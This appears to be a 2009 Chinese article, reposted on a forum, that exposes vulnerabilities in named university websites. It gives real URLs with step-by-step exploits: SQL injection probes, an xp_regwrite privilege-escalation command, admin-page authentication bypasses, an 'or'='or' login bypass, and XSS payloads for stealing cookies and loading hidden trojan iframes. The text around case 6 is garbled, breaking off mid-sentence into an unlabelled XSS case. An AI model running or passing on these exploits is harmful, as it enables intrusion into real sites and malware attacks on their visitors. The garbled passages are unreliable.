实战攻防案例：高校网站成黑客“新乐园”

fuchou-angle

实战攻防案例：高校网站成黑客“新乐园”

　　此前我们报道过高校网站被黑客挂马的个例，然而，此次当我们把检测范围放大后，结果让我们胆战心惊。检测北京大学网站时如此，检测清华大学网站时如此，检测浙江大学网站时亦是如此……临近高考志愿填报，众多的学子正通过高校网站了解自己心仪的学校。不过，当一个又一个的安全问题遇上正寻找机会的黑客，将意味着什么？

　　当你登录高校网站，早已潜伏的病毒会夹道欢迎你；

　　当你信任高校网站，你的财物会被种种骗局骗走；

　　当你等待录取通知，你的录取信息可能已被替换掉……

　　你还敢信任高校网站吗？

　　千疮百孔的高校网站

　　意外往往是故事发生的“引擎”，厄运由此展开；在你拿起这份报纸之前或放下报纸之后，你或许即将登录你心驰神往的高校网站，查看那个未来你将走进的校园的情况，幻想着全新大学校园生活的种种，然而或许你不知道，当你在网络中虚拟畅游数字校园时，一个个陷阱也在高校网站中挖好，黑客在等待你的来临……

安全隐患普遍存在

　　4月13日，北京大学基础医学院网站被黑客入侵挂马；5月5日，清华大学某研究所网站被黑客入侵并在网页中植入木马；5月30日，首都师范大学研究生网被黑客入侵挂马……

　　上面是众多被入侵网站中造成影响较大的一些例子，国内互联网之初，各种入侵高校网站的黑客就不计其数，根据安全机构安天实验室的一份高校黑客入侵统计显示，国内121所重点大学和487所普通大学中，86%的高校网站曾因为存在漏洞而遭到黑客入侵。

　　我们检测后发现，中国高校网站普遍存在各种各样的安全隐患，其中包括了很多声名赫赫的老牌大学。在测试中，我们发现安全漏洞是所有问题中排名第一的（因篇幅有限，本文仅仅举了7个案例），大量的高校网站存在高级或者低级的漏洞。

　　黑客挖掘出高校网站的漏洞后，就会大肆作恶，严重威胁网络安全（见表）。目前，有数十个高校网站都被黑客挂了马，就连国家互联网中心都对访问高校网站发出了安全警告，可见高校的网络安全状况不容乐观。

案例1：清华大学
　　漏洞原因：关键字未过滤，导致PHP注入
　　漏洞危害：能用来挂马、控制网站
　　漏洞状况：已通知修改
　　威胁指数：★★★★★
　　学校简介：清华大学的前身是清华学堂，成立于1911年。王国维、梁启超、陈寅恪等曾在该校就职。
　　漏洞利用：打开清华大学材料科学和工程系学院网页，选择一个新闻页面，在地址后面输入“and 1=1”和“and 1=2”，返回的结果不一样存在PHP注入漏洞。在浏览器中输入http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=166/**/order/**/by/**/6。
　　地址最末尾数字可以修改，当修改到“5”的时候，网站返回正常，因此可以判断字段数为5。然后利用PHP注入检测工具，输入刚才的新闻网址，点击“猜解数据库” 破解出数据库的表名和列名，进一步得到明文的用户名和密码。
　　再点击“后台扫描”，找到了该学院网站的后台，然后用获取的用户名和密码登录即可（图）。检测完成后我们发现，如果黑客有足够的耐心，完全可以通过技术手段进行提权，然后获取整个服务器的权限，到时候就可以在服务器上大量挂马。




2009-7-3 11:19
　　漏洞修补：要修补该漏洞，必须过滤那些特殊的关键字可以通过过滤程序，过滤掉常见的敏感字符（具体代码请到http://www.shudoo.com/bzsoft下载）。
案例2：上海交通大学
　　漏洞原因：数据过滤不严，导致ASP注入
　　漏洞危害：能用来挂马、控制网站
　　漏洞状况：已通知修改
　　威胁指数：★★★★★
　　学校简介：前身是1896年创建的南洋公学，后曾易名南洋大学、上海工业专门学校，民国后期称为国立交通大学。
　　漏洞利用：该网站存在不少注入点（图1）。在注入点后加上;exec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--成功开启沙盒模式。然后使用沙盒提权工具，直接提权，获得网站最高权限。在获得网站最高权限后，黑客就可以在大量网页中疯狂挂马。



image002.jpg (17.41 KB)
2009-7-3 11:19




image003.jpg (7.24 KB)
2009-7-3 11:19
　　漏洞修补：防堵ASP注入只须在要防注入的文件头中加入代码可以实现对变量的过滤。如果在数据库连接文件后加入程序代码（代码下载地址：http://www.shudoo.com/bzsoft），则可以实现整站的变量过滤，从而达到防注入的效果。
案例3：浙江大学
　　漏洞原因：后台身份验证不严
　　漏洞危害：能用来挂马、控制网站
　　漏洞状况：已通知修改
　　威胁指数：★★★★★
　　学校简介：前身是成立于1897年的求是书院，它是中国近代史上效法西方学制最早创办的几所新式高等学校之一。
　　漏洞利用：浙江大学国防生网站的登录后台http://www.gfs.zju.edu.cn/admin_xpbyj2006/admin_login.php可以在搜索引擎中直接搜到，在该页面中将admin_login.php改成admin_menu.php，不用密码也可以登录，进入网站的后台（图1）。
　　在这里可以编辑网站里的所有文件，还可以上传文件等。在这里，黑客还会进一步提升权限成为超级管理员（图2），有了超级管理员权限，他们就可以在网站前台挂马了，所有访问浙江高校网站的学生都会被网页木马攻击。
　　小提示：在浙江大学下属的城市学院网站http://www.zucc.edu.cn，是无法通过搜索引擎找到后台登录地址的，但可以在域名后面输入robots.txt，就可以找到后台的入口，然后利用同样的方法进入网站后台。




image004.jpg (3.89 KB)
2009-7-3 11:19




image005.jpg (28.16 KB)
2009-7-3 11:19
　　漏洞修补：此类漏洞修补的方法比较简单，只要在后台每一个文件中加入对身份的验证即可（验证代码下载地址：http://www.shudoo.com/bzsoft）。
案例4：复旦大学
　　漏洞原因：后台身份验证不严
　　漏洞危害：能用来挂马、控制网站
　　漏洞状况：已通知修改
　　威胁指数：★★★★★
　　学校简介：原名复旦公学，是第一所由中国人通过民间集资自主创办的高等学校。“复旦”校名选自“日月光华，旦复旦兮”。
　　漏洞利用：经过我们检测复旦高校网站的多个学院存在验证过滤不严问题，其中在高分子科学系、环境科学与工程系、经济学院，已经被证实。不用密码也可以登录，进入网站的后台。
　　存在漏洞的网址是：http://www.polymer.fudan.edu.cn/keylab/wwwroot/gb/left.asp、
　　http://environment.fudan.edu.cn/economy/admin/menu.asp、
　　http://www.econ.fudan.edu.cn/teacher_admin/admin_menu.asp。
　　需要注意的是，在利用该漏洞之间，最好能够使用Firefox浏览器，或者直接在IE中奖Script效果去除，即可跳过验证看到后台页面。在这些管理页面中你可以编辑网站里的所有文件，还可以上传文件等。在这里，黑客还会进一步提升权限成为超级管理员（图2），有了超级管理员权限，他们就可以在网站前台挂马了，随后访问该网站的学生都会被网页木马攻击。




image006.jpg (21.04 KB)
2009-7-3 11:19




2009-7-3 11:19
       漏洞修补：在conn.asp 内加入 但前提是后台登录页面中有语句。然后把特定代码保存为CPCWsafe.asp（特定代码下载地址：http://www.shudoo.com/bzsoft）。该段代码的作用是对非法字符进行过滤，一旦检测到入侵者尝试入侵，便给出相应的警示。
案例5：南京大学
　　漏洞原因：后台身份验证不严
　　漏洞危害：能用来挂马、控制网站
　　漏洞状况：已通知修改
　　威胁指数：★★★★★
　　学校简介：南京大学的前身可以追溯至西元258年的南京太学，近代校史肇始于1902年筹办的三江师范学堂。
　　漏洞利用：教育技术中心（图1）、历史系和公共管理学院（图2）这这两个地方的后台存在身份验证不严情况，找到它们的后台后，将admin_login.php改成admin_menu.php，不用密码就进入了后台，然后就可以在里面挂马了。








　　漏洞修补：此类漏洞修补的方法比较简单，只要在后台每一个文件中加入对身份的验证即可（验证代码下载地址：http://www.shudoo.com/bzsoft）。   
案例6：南京航空航天大学
　　漏洞原因：登录验证不严
　　漏洞危害：能用来挂马、控制网站
　　漏洞状况：已通知修改
　　威胁指数：★★★★★
　　学校简介：创建于1952年，是一所以航空航天技术为主导的工程类综合大学。
　　漏洞利用：打开浏览器，在地址栏中输入http://cae.nuaa.edu.cn/tec/manage/Manage_Admin.asp，打开“学院师资力量”的后台登录页面，在“管理账号”和“管理密码”中均输入“'or'='or'”（图1），点击“登录系统”按钮，进入后台（图1）。
　　接下来，再进行提权，在该后台管理页面中，虽然没有图片上传之类的经典漏洞，但却提供了数据库备份和添加管理员的功能。因此，可轻松在后台进行挂马和提权，从而间接的控制整个网站。








　　漏洞修补：漏洞形成的原因是SQL语法过滤不严格，没有过滤单引号“'”，那我们只要针对该问题进行相应的修补即可。简单修补：搜索login.asp，在http://162.105.129.254/cgi-bin/allsearch_e?word=">alert('XSS')>





　　如果将语句构造成">http://www.***.com/muma.htm。将此网站的宽度和高度分别设为0，这样访问者就无法看见打开的挂马网页了。
　　小提示：判断是否存在跨站漏洞的语句有<script>alert('XSS')</script>、">alert('XSS')alert(document.cookie) 、='>alert(document.cookie) 、alert(document.cookie) 等。
　　漏洞修补：在编写网页时，要注意坚决不要相信任何用户输入并过滤所有特殊字符，这样既可消灭绝大部分的XSS攻击。只需要一个简短的Javascript程序即可完成对输入数据的过滤（代码下载地址：http://www.shudoo.com/bzsoft）。